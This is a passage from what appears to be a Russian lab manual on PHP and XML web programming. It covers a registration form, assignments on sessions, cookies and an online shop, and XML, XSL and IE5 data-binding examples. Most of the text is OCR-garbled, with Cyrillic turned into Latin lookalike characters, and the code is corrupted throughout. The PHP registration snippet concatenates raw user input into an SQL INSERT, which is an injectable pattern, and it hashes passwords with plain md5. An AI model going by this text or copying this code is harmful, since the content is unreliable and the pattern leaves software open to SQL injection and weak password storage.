if {!'empty(ferrcr)} { rordlt,
echo "<p>'.Serror.
', <a href="register.php">nonpobyire '.
‘eme paz</ar</p:';
include "foot.php";
exit;
i
if {(!empty($login) and !empty($passwordl)]
Ssgl="insert into users (login,password)'.
" values {"'.S$legin.'™ "',

mdb (fpasswordl).'™)";
Sresult=dbquery (Ssqll; =
if {!'Sresult] { echo "Bad sgl $=sgl%; } it 0,1';
elzse |
echo '<prPerdcrTpalMs yonemdHa, sodguTe '.
's cucTemy c <a href="index.php">'. SR

'rraBHOl cTpaEMuE< ax</p>';
t

h
glse |
7>
<form method="post">
<tahle width=100% align=center border=0>
<trr<tdrHosmii moDm:</td>
<tdr<input type=text size=32 maxlength=32
name=login></td></tr>
<trr<td>Hoeedt mapons:</td>
<td>»<input type=password size=32 maxlength=32
name=passwordl></td></tr>
<tr><td>HoBwll napons eme pas:</td>
<td»<input type=password size=32 maxlength=32
name=password2></td></tr>
<tr><td colspan="2" align=center:>




<input type=submit wvalue="OE"></td></tr>

</table></form>
<tphp

h

include "foot.php®;
7

[Ipeanonaraercs, yto BKItoUaeMble ¢aiinsl ¢ umeHamu head.php u foot.php comepxat oOmue st

Bcex (ailnoB mpoekTa AuzaiiHepckue "manky" u "moaBan" cTpaHMIIBI. PexoMeHyemble IO UTOTaM TJIaBbl
pazzensl craHaapTHod cmpaBku: "CnpaBounuk s3pika" — "lIpenompesneneHHble nepemMeHHbIE! —
"$ COOKIE", "CnpaBounuk ¢pyHkuuit" — "OyHKIMH 1)1 pabOTHI C ceCCUsIMU .
3aganue Ne 1. V3yunts npuBeAeHHBIN TEOPETUUECKUN MaTepUal.
3apanme Ne 2. [IporecTupyiite puBEIECHHBII NpUMeEp.
3aganue Ne 3. Hanmcath mporpaMMmy COXpaHEHHs IEPCOHAIBbHBIX HACTPOEK MOJb30BaTeNs (HUK U (HOH
CTpPaHMII) C UCMOJIb30BaHUEM (YHKLUH YIPaBICHUS CECCUEH.
3aganue Ne 4. Hancats nporpammy, KoTopast IpUMeHseT PYHKIMU YIIPaBJIE€HUS CECCUEN JIJIs 3alIOMUHAHUS
TOr0, KaKM€ CTPaHUIbl YK€ MOCEIAINCh M0JIb30BATEIEM. BBIBECTH CIMCOK CCBUIOK Ha BCE MOCELEHHBIE
CTpPaHUIIBL.

JlabopaTopnasi padora 6. «Co3nanue npoekta «Perucrpamus»»
[lens: mosyuyeHNE HABBIKOB PETUCTPAIIH M aBTOPU3AIMH MOJIb30BaTeleil Ha caiite B PHP.
XOJl PABOTHI:
3aganue Ne 1. J[o6aBbTe K CKpUIITY IPUBEIEHHOTO B TaOOpaTopHOit paboTte Ne 5 BO3MOKHOCTH perUCTpaliuu
W aBTOPHU3AIMHM TIOJIb30BATENsl, OOECIeYbTe BO3MOXKHOCTh JI00ABJICHUS COOOIIEHUN TOJBKO OT
3aperucTpUPOBAHHBIX MOJIb30BaTeNel. Peanusyiite aBTopu3sanuio yepes cookie-Qaitnbl.
3apanne Ne 2. Coznats hopmy, C TOMOIIBIO KOTOPOM TOJIB30BATEh MOKET 3a/1aTh CBOM HUK U BHIOPATH IIBET
¢dona cTpanuil caita.
3aganue Ne 3. lcnonw3oBaTh cookie [uist TOro, 4roObl MPHUBETCTBOBATH IOJIB30BATENS MO HMMEHU Ha
CIETIOIIMX CTPAaHUIAX C 3aJaHHBIM (DOHOM.

JlabGopatopnas padora 7 «Co3nanue npoekra « UHTEepHET Marasu»»

Ilenb: monmyyeHne HaBBIKOB co3/1aHus npoekTa «HTepHeT-marasun» B PHP.
XO/J PABOTHI:
3aganue Ne 1. Co3natp BeO-caiiT “VMHTepHeT-Mara3zun”. HeobxonnmMo co3naTh 31eMeHT au3aiiHa Gopmy i
3aKa3a TOBapa B MHTEpHET-MarasuHe. Peann3oBaTh cpencTBamMH s3blka HamucaHusi cueHapueB PHP
00paboTKy 3aKa30B KIMEHTOB MO0 KaTaynory. /[jst 5Toro Heo0X0uMO C03/1aTh ClIeHapui, KOTOPbI CYUTHIBAET
uHpopmanuio u3 popmel 11 06padoTku. [1o pezynpraTaM 3akas3a Ha caiiTe He0OOXOAMMO BBIBECTH Ha HKPaH
COJIEPKUMOE KOP3UHBI MOJIB30BATENIs C PACCUMTAHHONW CyMMOM 3aka3a. Ha calite HeoOX0oauMO OCyIIeCTBUTh
IPOBEPKY BBOJAMMBIX MOJb30BaTeNeM JaHHbIX B (popmy. IIpu oOpaboTke 3aka3a cienyeT HCHOJIb30BaTh
MaTeMaTHYecKue (PyHKIUH, a TAKKE pa3IMIHbIe YCIOBHBIE ONepaTophl. TeMaTHka:

1) KHMKHBIA Mara3uH Hay4YHOU JIUTEPATYPHI (3aKa3 KHUT B ONPEAEeNICHHONW HAyYHOUH 00IacTH);

2) MarasuH NporpaMMHBIX CPEACTB (3aka3 nporpamm aias OBM);

3) marasuH Bujeo (mokymnka GpuiabMoB Ha DVD-nuckax);

4) mara3uH KOMITbIOTEPHBIX UTp (3aKa3 KOMIbIOTEpHBIX Urp Ha CD-auckax);

5) My3bIKabHBIM Mara3uH (3aKka3 My3bIKaJIbHBIX KOMITAKT TUCKOB);

6) IBETOYHBIN MarasuH (3aKa3 JOCTAaBKH LIBETOB);

7) MarasuH nap@romMepru 1 KOCMETHKH (3aKa3 KOCMETHKH U ap(hroMepHuy 1o KaTajory);

8) Mara3uH oJIeK/IbI (3aKa3 OJEXK/IbI IO KaTajory);

9) copTUBHBIN Mara3uH (3aka3 CHOPTUBHON (YOPMBI 1 MHBEHTapS);

10) Mara3uH Me0enu (3aka3 MeOeH, JIEMEHTOB HHTEPhEPA U TOBAPOB JIJISL IOMa).
[Tpu pazpaboTke BeO-caiiTa cBsizaTh Mexay coboit 10—15 BeO-cTpanuil. B ucxognom html-koze ncnonp3zoBaTh
KOMMEHTapUH KakKJIOTO TeTa.
3ananme Ne 2. Co3nath BeO-caliT MHTEpHET-Mara3uH. Peann3oBaTh cpeicTBaMu A3bIKa HAMMMCAHUS CLIEHApHEB
PHP o0paboTky 3aka3oB KJIMEHTOB IO Kartajory. HeoOGxomumMo co3marh dsieMeHT au3aiiHa dopmy U
peaan30BaTh COXPAaHEHUE AAHHBIX MOJIb30BATENs B TEKCTOBBIH (ail. Opranu3oBats paboTy MO OTKPHITHIO,
IPOCMOTPY U 3alMcH JaHHbIX B Qailn. [lomumo 3TOro, HEOOXOAMMO peannu30BaTh BBIBOJ COJEPKUMOTO
daiina Ha sKkpaH. PeanusoBarh cueTunk mnoceuieHuid. OOpabOTKy cleayeT peanu3oBaTh MO TEMaTHKe



nabopatopHoi pabotel Ne 3. Ilpu paspaboTke BeO-caiita cBsi3aTh Mexay cobor 10—15 BeO- crpanun. B
HCXO0JIHOM html-KoJie HCI0Ih30BaTh KOMMEHTAPHH KaXI0r0 Tera.

3amanue Ne 3. HanmucaTh CKpUNT, TO3BOJIAIONINNA OPraHU30BaTh HHTEPHET-Mara3yH.

CHnucoK TOBApOB XpaHMUTCS B 0a3e JIaHHBIX Ha CTOPOHE cepBepa. IlokymnaTenb JOKEH UMETh BO3MOXKHOCTh
MIPOCMOTPETh BCE HMEIOIIMECS B HaJWYUMM TOBApbl W CielarTh 3aka3. llokymaTenb MOKEH HMETh
BO3MOJKHOCTB CJCJIATh 3aIIpoC, HAIlpUMEp, YKa3aB HHTEPBAJI LICH, KOTOPBIH €ro yCTpauBaeT Wiu KaKue-JIn0o
npyrue naHHbie. J[o Tex mop, Moka MOKymaTellb BBIOMpAeT OTACIbHBIE TOBAphl, €r0 3aKa3 XpaHUTCS Ha
CTOpOHE KJIMeHTa B Buje cookie. ITocine Toro kak mokymnaresib cOpMHpPOBaj 3aKa3, 3aKa3 OTCHUIACTCS Ha
CTOPOHY CepBepa, Tie MOKYIKa TOBapa yUUThIBaeTCs B 0a3e TaHHBIX.

Bapuanmot unouguoyanvrvix 3a0anuii

1. B 6a3ze maHHBIX coaepKUTCS HWHGOpMAIUMs O KHUTAaX: aBTOp, Ha3BaHHWE, H300pakeHHE OOJIOXKKH,
M3JIaTeJIbCTBO, T'OJ] BBIIYCKA, IICHA.

2. B 0a3e maHHBIX coaepkuTcs MHMopmalus o0 aBTOMOOWIIAX: MOJEb, NU300paKeHWEe aBTOMOOWIISA, TOJ
BBIITYCKA, THII Ky30Ba, MOIIIHOCTb JIBUTATEJIs, [IBET, IICHA.

3. B 0a3ze maHHBIX coAepKUTCS MHPOpPMAIMS O TYPUCTUYECKHX IOE3JKax: CTpaHa, ropoi, W300pakeHUe
TOPOJICKOM JTOCTONPHMEYATEIbHOCTH, KOJIMUECTBO JHEH, 1aTa MOS3/IKH, KJIacC OTEIs.

4. B 6a3e gaHHBIX COEpPKUTCS HHGOPMAIIUS O KypHaJlaX: Ha3BaHKE, N300pakeHUE 00JI0KKH, TOJT BBITYyCKa,
HOMED, U3/1aTEIIbCTBO, YKCIIO CTPAHHMII, IICHA.

5. B 06a3ze maHHBIX coaepkuTcs WHGOOpMAIMsA O MECTaX B OTeJie: Ha3BaHHWE OTEJNs, KJIacC HoMepa,
H300pakeHHEe HOMEepa, KOJIMYEeCTBO MECT B HOMEpE, IICHa.

JlaGoparopnas pabora 8. «CocraBijienne cxeM XML-10KyMeHTOB»
Llens: o3nakoMmuThes ¢ XML, HayuuThCst pazouparh CTpykTypy XML-nokymenTa.
XOJ PABOTHI:
Teopemuueckue ceedenus

XML (Extensible Markup Language) — 3To s3bIK pa3MeTKH, OIHMCHIBAIONINI eIl KJIacC 00BEKTOB
JaHHBIX, Ha3bIBaeMbIX XML— mokyMeHTaMu. DTOT S3bIK HCIIONb3YETCA B KAUYECTBE CPENICTBA ISl ONUCAHUS
IrpaMMAaTUKH JIPYTHX S3BIKOB M KOHTPOJISl 33 MPaBUIBHOCTHIO COCTABJICHUS JOKYMEHTOB, T.€. caM 10 cebe
XML He coaep>KUT HUKaKuX TATOB, NMPEAHA3HAUEHHBIX JIJIS1 pa3METKH, OH MPOCTO OIMpeAesseT MOPAI0K UX
CO3/IaHUA.

Cawm miponiecc co3ganust XML n1okyMeHTa 04€Hb IPOCT B TpeOyeT OT HaC JUITh 0a30BbIX 3HaHUH HTML
Y MOHUMaHHUA TEX 3a/1a4, KOTOPbIe Mbl XOTUM BBINOJIHUTH, UCIIONB3YsE XML B KauecTBe si3bIKa pa3METKH.
Takum oOpa3om, y pa3pabOTUMKOB TMOSBISETCS YHUKAIbHAs BO3MOXKHOCTH OIPEIEISITh COOCTBEHHBIE
KOMaH/IbI, IO3BOJIIOIINE MM HaubOosee 3PPEKTHBHO ONPEACIATh JaHHBIC, COACPIKAIINECS B JIOKYMEHTE.
ABTOD JIOKyMEHTa CO3JIa€T €ro CTPYKTYPY, CTPOUT HEOOXOAUMBIE CBSI3H MEXKIY dJIEMEHTAMHU, UCIIONIb3YS T
KOMaH/Ibl, KOTOPBIC YJIOBJICTBOPSIIOT €ro TPeOOBAaHUSAM, M JOOMBACTCS TAaKOTO THIA Pa3METKH, KOTOPOE
HEOOXO0IMMO €My ISl BBIIIOJIHEHUS OTlepaliil MpocMOTpa, MOUCKa, aHaIN3a TOKyMEHTA.

XML 1o3BoJISIET OCYIIECTBISATh KOHTPOJIb 32 KOPPEKTHOCTHIO JTAHHBIX, XPAHSIIIMXCS B JOKYMEHTAX,
MPOU3BOJUTH IMPOBEPKU HEPAPXUUYECKUX COOTHOILICHUI BHYTPU JOKYMEHTa W YCTaHABIMBATh E€IMHBIN
CTaHIapT HAa CTPYKTYPY JTOKYMEHTOB, COJICPKHUMBIM KOTOPBIX MOTYT OBITh CamMble pa3IUYHbBIC JaHHBIE. DTO
03HAYAET, YTO €r0 MOKHO HCIIOIb30BaTh MPU MOCTPOCHUHU CIOKHBIX HHPOPMAITMOHHBIX CUCTEM, B KOTOPBIX
OUCHb BAXXHBIM SBJISETCS BOMPOC oOOMeHa uWH(pOpManueld MeXAy pa3IudHbIME TPUIOKEHUSMH,
paboTatonmu B ofHOM cucteme. Co3naBasi CTpYKTYypy MexaHu3Ma ooMeHa nHbopMaluu B CaMOM Hayalie
paboThl HAJ MPOEKTOM, MEHE/KEP MOKET M30aBUTH ce0si B OyAyIieM OT MHOTHX MPOOJIeM, CBSI3aHHBIX C
HECOBMECTUMOCTHIO UCTIOJIb3yEMbIX PA3TUYHBIMU KOMIIOHEHTAMH CUCTEMBI (POPMATOB JaHHBIX.
3apanme Ne 1. Coznaiite XML-10KyMeHT.



mdex.xml
<tzml version="1.0" encoding="windows-1251" 7~
<notepad=
<note 1d="1" date="11/04/99" ime="13.30">
<subject>Bax Had genoead ecTpeda</subiect>
<importancel =
“text=

Hamgo ectpetuteca ¢ <person 1d="1625">Heanom

Heanopmem</person>, npegeapHTEILHG
NoREQHHE eMY 00 Teled oHy <tel=123-12-12<tel >
<ftext=
<fnote>
<note 1d="2" date="12/04/29" tme="15.00">
<subject>IlosBoruTE goMo i</ subject™
“text=
<tel>124-13-13</tel >
<ftext=
<fnote>

note 1d="3" date="13/04/99" time="5:00">
<subject>Iloexate ¢ Marcom wa prbanky</fsubject=
“text=
Hanomuwre Magcy wTobt o8 cEapun kawy H ezan baécHa
<tel=124-10-13</tel =
<ftext>
<fnote=

<fnotepad>
Cozpnaiite daitn cogeprkanuii cTuib opopmiaeHus 1.css.

l.css
text { fontfamily: Verdana, Anal, Helvetica, sans-senf; font-size:

12px; font-style: normal; color: #FFFFFF, background-color: #202036}

subject { font-family: Analfont-size: 12px; font-style: normal;
color: white; background-color: gray}

tel {color yellow)
Peszynomam

Hano ectpemiTeca ¢ Meanom MeanorreM, IpeIEapHTENEHO TOZE0HAE EMY TI0
HanomeauTe Marcy

nedory 123-12-12
0Ol OH CBAPHI KanTy | B3an bngcra 124-10-13

3aoanue Ne 2. Coznaiith XML-10KyMeHT, KOTOphI OyZeT conep:kaTh HHPOpPMAIUIO [0 Ballen
CHENMATbHOCTH B JPYTUX YHUBEpPCUTETaX (YHUBEPCUTET, IPOXOIHON Oasul, tuiaH Habopa, ropoJi, B KOTOPOM
pa3menieH yHuBepcurer). [Ipu BeIMONTHEHNHN 3aJaHUs UCTIONIb3YHUTE CSS.

3aoanue Ne 3. Coznaiite XML-10KyMEHT ¢ MOAKIIOYEHUEM CSS B COOTBETCTBUU C PUCYHKOM.
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JlabGopaTtopnas paoora 9. «Orodpaxxenne XML-10KkyMeHTOB pa3jIM4HbIMH CIIOCOOAMID)

Lenp: 03HAKOMHTBCS €O criocobamu oToOpakenuss XML-T0KyMEHTOB.
XO/J PABOTHI:
Teopemuueckue ceedenusn

XSL sBasercs npuiokennem XML, T1.e. XSL-tabmuna mpezactaBiaseT coOol  KOPPEKTHO
chopmupoBannbiii  XML-okymMeHT, KOTOpbIii oTBeuaeT mpasmwiaM XSL. I[lomo6HO mro6omy XML-
TOKyMeHTy, XSL-tabnuia cTuiiel CoIep KUT MPOCTOM TEKCT, U BBl MOKETE CO3/1aTh €€ C MOMOIIbIO JTH000r0
TEKCTOBOT'O peJaKTopa.

Moo cBs3aTh XSL-tabmuiy cruneit ¢ XML-10KyMEHTOM, BKIIOYMB B JOKYMEHT HHCTPYKIIHIO IO
o0pabotke xml-stylesheet, koTopas UMeeT ciaeayoIIy0 0000IIeHHYIO (hOPMY 3aIUCH:
<?xml-stylesheet type="text/xsl" href="3.xslt"?>

Tabnuma ctuiaed mpu 3TOM JOJDKHA pa3MElIaThCs Ha TOM JK€ JIoMeHe, 4To U XML-I0KyMeHT, ¢
KOTOPBIM BhI €€ CBSI3bIBACTE.

Ecaun Bbl He cBszasmm XML-nokymentT Hu ¢ CSS-tabnuneii, Hu ¢ XSL-Tabnuuei cTuiiei, Opaysep
0TOOpAa3UT IOKyMEHT C OMOIIbIO BCTpoeHHOM XSL-Tabnuliibl, KOTOpasi HCHOIb3YeTCs 0 YMOIYaHHI0. JTa
tabimua cTwied oroOpaxkaer ucxomHbeli XML-TekcT B BHAE JepeBa € BO3MOXKHOCTBIO
CBEPTHIBAaHUs/Pa3BEePThIBAHUS YPOBHEH.

B omimmume ot CSS, coneprxkameii nmpaBmwia, XSL-tabnumna cTuneil BKIOYACT OAWH HIU HECKOJBKO
11a0JI0HOB, KaXKABIH M3 KOTOPBIX COJIEPKUT HH(DOpMaLMIO AJii OTOOpPakKeHUs B OINpPEACNICHHOW BETBU
aneMeHTOB B XML-110KyMeHTe.

Kaxnas XSL-tabnumna cTwied D0DKHA UMETh AJIeMEHT JIOKyMEHT, M3BECTHBIM KaKk KOPHEBOM
ANEMEHT, ABaseTcss XML-31eMEHTOM BEPXHETO YPOBHS, KOTOPBIMA COAEPKUT BCE OCTAJIBHBIEC 3JIEMEHTHI.

<?xml version="1.0" encoding="UTF-8"?>

<xsl:stylesheetversion="1.0" xmlns:xsl="http://www.w3.org/XSL/Transform">

Onement JlokymeHT xsl:stylesheet ciy’)kMUT He TOJNBKO XpaHWIUIIEM APYTUX 3JIEMEHTOB, HO TaKkKe
UACHTU(UIMPYET NOKYMEHT Kak XSL-tabmuiy ctuieit. Bce XSL-3neMeHTh TpHHAAIEKAT IPOCTPAHCTBY
uMeH xsl, T.e. BbI IpeaBapsiere uMs kaxaoro XSL-anementa npedukcom xsl:, 0603HaYaI0NIM IPOCTPAHCTBO
HMMEH.

OnemeHnT [loxymeHT xsl:stylesheet XSL-Tabmuibl cTHIEH NODKEH COAEp)KaTh OAWMH HIJIM HECKOJIBKO
11a0JI0HOB 3JIEMEHTOB, KOTOPBIE JUIsI KPaTKOCTH OyIeM Ha3bIBaTh MIA0JIOHAMMU.

<xsl:template match="/">

<!-— no4YepHHE JIEMEHTHI ... -->

</xsl:template>

bpay3ep wucmonp3yer maOioH i OTOOpPaKeHUs OIpPENEICHHOW BETBH JJIEMEHTOB B HEpapXuu
XML-nokymMeHTa, ¢ KOTOPbIM BbI CBsi3bIBaeTe Tabmuiyy cTwied. ATpuOyT match mabinoHa yka3blBaeT Ha
ONpEJICTICHHYIO BETBb.


http://www.w3.org/XSL/Transform
http://www.w3.org/XSL/Transform
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3HavueHne arpuOyra match HocuT HasBanume oOpasua (pattern). OO6paszenr B manHoMm mnpumepe (/")
MIPEACTABISIET KOPHEBOM 3JIeMEHT Bcero XML-1okyMeHTa.

Kaxxnas XSL-tabnuia ctuiei 10/mKHa CoAepKaTh OJIUH U TOJIBKO OJIMH 11abJIoH ¢ aTpuOyToM match,
KOTOPBIN nMeeT 3HaueHue "/".

KopneBoii o6paszen; (/") He mpencraBiser aieMeHT JlokymMeHT (Wiau KopHeBoW 3yemeHT) XML-
nokyMmeHTa. OH MpeAICTaBIseT BeCh IOKYMEHT, NIl KOTOPOTO AJIEMEHT JIOKYMEHT SIBIIIETCS IOUYepHUM (T.e.
OH aHAJIOTMYEH KopHEeBOMY y3:1y Document B 00bekTHOM Moienu fokymeHTa DOM)

[Tpumep ucnonpzoBanuss XSL-TaOIHUIBI CTUIICH IS TPEIOCTABICHUS HHPOPMAIUH B BH]IC TAOTHUIIBL:

<?xml version="1.0" encoding="UTF-8"7>

<xsl:stylesheet version="1.0" xmlns:xsI="http://www.w3.0rg/1999/XSL/Transform">

<xsl:template match="/">

<htmI>

<body>

<h2> Cnucok cnienuansHocTel dakynprera UT</h2>

<table border="1">

<tr bgcolor="#9acd32">

<th style="text-align:center">CnenunaibHocTh</th>

<th style="text-align:center">Cpox o0yuenus</th>

<th style="text-align:center">IIpeamers! L[T</th>

<th style="text-align:center">I1nan nabopa</th>

<th style="text-align:center">IIpoxoanoi 6ami</th>

</tr>

<xsl:for-each select="FACULTY/SPECIALIZATION">

<tr><td><xsl:value-of select="NAME"></td>

<td><xsl:value-of select="TIME"></td>

<td><xsl:value-of select="EXAM"></td>

<td><xsl:value-of select="PAGES"></td>

<td><xsl:value-of select="PASSING"></td>

</tr>

</xsl:for-each>

</table>

</body>

</htm]>

</xsl:template>

</xsl:stylesheet>

Omneparop myTu B 3Ha4eHUH aTrpulOyTa select OTHOCHUTCS K TeKymeM yaneMeHTy. Kakaplii KOHTEKCT
BHYTpU XSL-TaOnuiisl cTUIe OTHOCUTCS K TeKylleMmy 3jeMeHTy. Eciu Bbl omyctute atpudyT select s
XSL-anmemenTta value-of, anemMeHT OyJIeT OCYIIECTBIIATh BBIBOJ TEKCTOBOTO COAEPIKHMOIO TUIFOC TEKCTOBOE
COJIEP’)KUMOE BCEX JOYEPHUX JIEMEHTOB B TEKYIIUN JIEMEHT.

[Topsaok anemenToB value-of B 1mabioHe ompeneseT MopsIoK, B KOTOpoM Opay3ep OToOpa)kaeT 3Th
a7eMeHThI. TakuM 00pa3om, Jaxe u3 3TOH IPOCTOM TaOIUIbI CTUJIEH BBl MOXKETE MOHATH, YTO XSL- Tabnuia
CTHJICH sIBIIsieTCs Topa3ao 6osee rudkoi, yem CSS, koTopast Bcerzia oToOpakaeT 3JIEMEHTHI B TOM MOPSIKE, B
KOTOPOM OHH CIEAYIOT B JOKYMEHTE.

OnemeHTt for-each BEIOTHSAET 1Be OCHOBHBIC 3a/1a4H:

—OCYILIECTBIISIET BHIBOJ OJIOKA AJIEMEHTOB, COJEpKaIIUXCcsl BHYTpH 31eMmenTta for-each, moBropss ero
Uit Kaxkaoro XML-ajieMeHTa B JOKYMEHTE, OTBEUaloIiero odpasily, HPHCBOCHHOMY aTpuOyTy select
aneMenTa for-each;

—BHYTpH 251eMeHTa for-each 3aaet TeKyumii 3J1eMEeHT, yCTaHABIMBAeMbIid aTpuOyTOoM select amemenTa
for-each.

He nyxHo Bkimro4yaTh B XSL-1mabnoH 3jeMeHTHI, npeacTapisiomue 3aementsl HTML non BODY,
KOTOpBIE SIBIISIFOTCSL CTaHAAPTHBIMU cOCTaBHBIMU yacTsiMu HTML-cTpanuibl, mockoiabKy Opaysep cam
a¢dekTuBHO X HOpMHUPYET.

Kaxnpii w3 osmementoB, mnpexacrasisionux HTML-pasmerky, AomkeH OBITh  KOPPEKTHO
chopmupoBanHeiM XML-31eMeHTOM, a Takke cranpapTHbiM HTML-3nementom. He 3a0biBaiiTe, uTo
XSL-tabnuna ctuiei spisiercss XML-10KyMeHTOM.
3aoanue Ne 1. Opopmurte 3amanue 1adopatopHor padoTel Ne 8 uyepes moakitoueHue XSL.
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Omobpasicenue XML-0okymenma ¢ nomouybto c8:3vl18aHUS OAHHbIX

Merton cBsi3pIBaHUS TaHHBIX TpeOyeT coznanuss HTML-cTpanuiisl, cBs3bpiBanus ¢ Heli XML- 1okymeHTa 1

YCTAHOBJICHUSI B3auMojaeicTBUil cTaHmapTHbix HTML-3anemMeHTOB Ha crpanune, Takux kak SPAN wim

TABLE, ¢ anementamu XML. B nansuetimem HTML-31eMeHTBI aBTOMaTHYECKH 0TOOpaxaroT HHPOPMALIHIO

13 CBA3aHHBIX ¢ HUMU XML-371€eMeHTOB.

JIBa OCHOBHBIX ATamna Mpu CBSI3bIBAHUM JIAHHBIX:

1. YcranoBka cBs3u XML-nokymenta ¢ HTML-cTpanwuiieit, Ha KOTOPOi BB XOTHTE OTOOPa3UTh IaHHBIC

XML. Dtot mar o0sraHO peanusyercs BkitoueHneM HTML anementa ¢ umenem XML B HTML- crpanwuiy.

Hampumep, cneayrommii anement Ha HTML-cTpanwuiie cBsazpiBaer XML-nokymenT Book.xml co cTtpanwuiei:
<XML ID="dsoBook" SRC="Book.xml"></XML>

2. Cuemiegne HTML-anementoB ¢ XML-anemednramu. Korma Brl cuemisiere HTML-3neMeHTEL ©

XML-3nementom, HTML-351eMeHT aBTOMaTH4YeCKH OTOOpaXkaeT coaepkumoe XML-3nementa. Hanpumep,

caenytomuii  snmemeHT SPAN Ha HTML-crpanune cuemien c¢ snementom AUTHOR  cBsizanHOrO

XML-nokymeHTa:

<SPAN DATASRC="#dsoBook" DATAFLD="AUTHOR"></SPAN>

B pesynbrate HTML-351emenT SPAN oToOpakaeT coaepkumoe XML-anementa AUTHOR.

Yto06s1 oToOpazuth XML-nokyment Ha HTML-cTpanutie, BbI T0OJDKHBI YCTAHOBHUTD €TI0 CBSI3b CO CTPAHUIICH.
Camplii mpocToi myTh caenath 3To B Microsoft Internet Explorer 5 — Bkimtounts B crpanuiyy HTML-3nemenT ¢
umeHeM XML, Tak Ha3bIBaeMblil (hparMeHT AaHHBIX. MOKHO HCIIOJIB30BATh OJHY U3 ABYX Pa3IUnYHBIX POpM
3amucH i (pparMeHTa JaHHbIX.

B niepBoii hopme Bech TekcT XML-a0KkyMeHTa moMeniaeTcs Mex a1y HadyalabHbIM M KOHEYHBIM TeraMu
XML.

Bo Bropoii popme 3ammcu HTML-31emenT ¢ umenem XML octaercst myCThIM M COJAEPIKHUT TOJIBKO

URL XML-nokymeHTa.
Korma ©Opay3ep otkpeiBaect HTML-cTpanmiy, ero BcTpoeHHbIH XML-mipomieccop CHHTaKCHYECKH
aHanm3upyeT XML-n1okymeHT. bpaysep Takke co3maeT mporpaMMHBIN 0OBEKT, KOTOPBIM HOCHUT Ha3BaHUE
O6nbexT ucxoansix naHHbiX (Data Source Object DSO), koTophlit xpanut ganHsle XML u obecnieunBaeT
JOCTYII K 3TuM jJaHHbIM. DSO xpanut manneie XML kak HaOOp 3amucei, T.e. MHOXECTBO 3allMCEH U MX
TIOJIEH.

Kornma Be1 crnemsiere HTML-anement ¢ XML-snemenTom, DSO aBrOoMaTtndecku mpeaoCcTaBIIseT
3HaueHue XML-35emMenTa U yrpaBiisieT BceMHu ero coiictBamu. DSO Takke MO3BOJISET BaM HAMNPSIMYIO
OCYIIECTBIISATh JOCTYN ¥ MAHHITYJIHPOBAHHE MMECIOIIUMCS HaOOpOM 3amUCeil MOCPEICTBOM psijia METOJIOB,
CBOMCTB U COOBITHH.

Ecmu Bbl oTkphiBacTe XML-mokymenT uepe3 ¢parmeHT nanabix Ha HTML-cTpanune, Internet
Explorer 5 npoBepsieT, sIBIsieTCs JIM TOKYMEHT KOPPEKTHO COPMHUPOBAHHBIM, & TAKKE — €CIU JOKYMEHT
BKITIOUAET OOBSBIICHUE TUTIA TOKYMEHTA — SIBJISICTCS JIU OH BaTMAHBIM. OJTHAKO B TOM CITydae, i JOKYMEHT
coaepxuT omuoOKy, Internet Explorer 5 mpocTo He Oynet oroOpakath nanHbie XML, He BBIBOISI COOOIICHUE
00 omunokKe.

Br1l moxxete ocymectBisTh cuermienne HTML-anementoB ¢ XML-31eMeHTamMu IByMsi OCHOBHBIMU
CIOCO0aMH.

TabmuuHoe cuemienue, uro o3HavaeT cuermienne HTML-snementa TABLE ¢ manneiMu XML, Tak
4TO B TaOJUIE aBTOMAaTHYECKH 0TOOpakaeTcsi BeCh Habop 3amuceid, mpuHapiexkammux XML-10KyMeHTy.

<TABLE DATASRC="#dsolnventory" BORDER="1" CELLPADDING="2">
<THEAD> <TH>Title</TH>  <TH>Author</TH> </THEAD> <TR ALIGN="center">
<TD><SPAN DATAFLD="TITLE" STYLE="font-style:italic"></SPAN></TD>

<TD><SPAN DATAFLD="AUTHOR"></SPAN></TD> </TR> </TABLE>

Ecnu XML-10KyMEHT COAEPKUT MHOTO 3allMCEi, MOKHO BOCIOJIb30BAThCS MTOCTPAHUYHBIN BBIBOI, ISt
3TOT0 HEOOXOUMO:

YcTaHoBUTE MaKCHUMAalbHOE YHMCIO 3amuceil, KoTopoe OyleT BBIBOAUTHCS HA CTPAHHUIE C MOMOIIbIO
atpudyra DATAPAGESIZE snementra TABLE.

[TpucsoiiTe yHuKanbHbIN HaeHTHGUKAaTOp atpudyTy ID amementa TABLE.
<TABLE ID="InventoryTable" DATASRC="#dsolnventory" DATAPAGESIZE="5">

J1st mepeMenieHrs MeXIy 3amucsIiMy UCIIONIb3yroTCest MeToibl dsieMeHTa TABLE takue kak FirstPage,
previousPage, nextPage, LastPage.

Jl11s 0TOOpaxKeHHs uepapXu4ecKor CTPYKTYPbI 3alHCe MOKHO HCIIOIb30BATh BIIOKEHHBIE TAOJIUIIBI.

Hampumep, pasmeTka Jisi BJIOYKCHHOH TaOIHIIBI MOYKET BBITJISZIETh CIICAYIOIUM 00pa3oMm:



<TABLE DATASRC="#dsolnventory" DATAFLD="BOOK" BORDER=0 CELLSPACING=10>

CuenjeHue Mo OTIAENILHBIM 3alHUCsIM , YTO O3HAYaAET CIEIUICHHE He TaONM4HBIX 3jemeHToB HTML
(manpumep, smeMeHToB SPAN) ¢ XML-anemeHTamMu TakuM 00pa3oM, 4To 3a OJIMH pa3 0TOOPaKAETCs TOIBKO
0JIHA 3aITUCh.

<SPAN STYLE="font-weight:bold" DATASRC="#dsoBook" DATAFLD="TITLE"></SPAN>

HyxHo yuutsiBath, uTo HTML-351€eMEHT MOKET 0TOOpa3HTh 3a pa3 TOIbKO 0/1HY 3anmuck DSO (00bekT
UCXOAHBIX JIaHHBIX), accouuupoBanHylo ¢ XML-nokymentom. [l moctyna K IpYrHM 3alUcsAM HYKHO
BOCITOJIB30BaThCS METOJIAMH JIJIsl IepeMelleHUs MExay 3amucsaiMu moveFirst, movePrevious, moveNext,
moveLast, move, MPUHAJICKAIUMHA 00BEKTY recordset DSO.<BUTTON
ONCLICK="dsolnventory.recordset.moveFirst()"> |&It; First </BUTTON>Kpome mpeacTaBieHHBIX
CYILECTBYET €llle psAJl IPYTuX crioco0oB /11 cBsi3biBaHusl He TabnuyHbix HTML-351€MeHTOB. DTO MOTYT OBITh
Kak uHauBHAyalbHble HTML-351€MeHThI, UCIIOJIB3YEMBIE JIsS CBSI3bIBAHUS TAHHBIX MO OJHOW 3aUCH, TAK U
HTML->1meMeHTHI, cozepKaluecs B CLIEIUICHHON TadJIuLe HTML. Hanpumep:<A
DATASRC="dsolnventory" DATAFLD="REVIEWS"> reviews</A>

